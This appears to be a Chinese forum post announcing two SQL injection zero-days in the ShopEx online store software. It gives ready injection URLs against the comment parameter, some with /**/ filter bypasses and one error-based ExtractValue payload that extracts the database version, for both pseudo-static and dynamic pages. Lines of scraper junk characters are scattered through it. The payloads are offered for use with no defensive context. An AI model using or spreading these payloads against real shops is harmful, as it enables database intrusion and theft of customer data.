shopex通杀注入0day漏洞两处

admin

注入漏洞是一种经典的漏洞类型了，自从上次跟基友深聊了注入，我对注入的认识又提升了一个高度，在我看来不可以注入的地方，TMD的竟然可以注入，注入攻击最早出现了1998年，貌似是，记不清了。10多年了，依然存在，虽然比以前出现量少了，但不得不用到的一种攻击技术…
  v7 \7 }) j( e* Y( x5 y! Q0 U
" [' T8 @9 N$ }& n6 ]( n好吧，我扯远了~~
) X! {: v' J! G$ S$ W1 U其实注入不仅仅出现在动态页面上，难道伪静态后就不能注入了吗？NO~
" W$ b2 _. T& b& }# {. a# z! I! C不扯了，直接说主题吧，shopex网店系统注入漏洞。注入点如下：
3 Y- P3 Z2 H+ S7 e1 k  L+ o% g
' h/ r& K3 P; H4 lhttp://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
. e2 Z: x; f% P5 w
! S+ s$ a4 Z1 |* G- R% s1 hhttp://www.x.com/comment-8967′/**/and/**/ExtractValue(0×64,concat(0×01,(select/**/@@version)))/**/order/**/by/**/’1-ask-commentlist.html
$ @1 E. j) S5 o0 i6 E/ b2 t
# Z. G/ _) X5 M, s& @http://www.x.cn/index.php?comment-822′/**/and/**/’1′=’1-ask-commentlist.html
) o* v/ e+ f) `- d  J9 w/ c
4 |) Y. q4 ?  m- rhttp://demo.x.com.cn/485/index.php?comment-190′/**/and/**/’1′=’1-ask-commentlist.html
7 R$ y: |2 i2 H$ O- }% v
9 m0 T  `5 V$ R9 |- |& S
' N1 f- G8 @; h0 ?5 O: [9 a一个是网站未开启伪静态的注入，一个是网站开启伪静态后的注入，以及是否屏蔽错误回显的2X2=4种情况。
如何注入就不多说了，10多年的东西了…不会也会了…
9 E& w2 C$ z' ]3 s, s5 y3 c
! J$ s5 y+ ~8 [% ]
9 r7 r. ?& T$ }& j  w) ^

1 T( X+ j+ ^5 ~& M% P6 m( t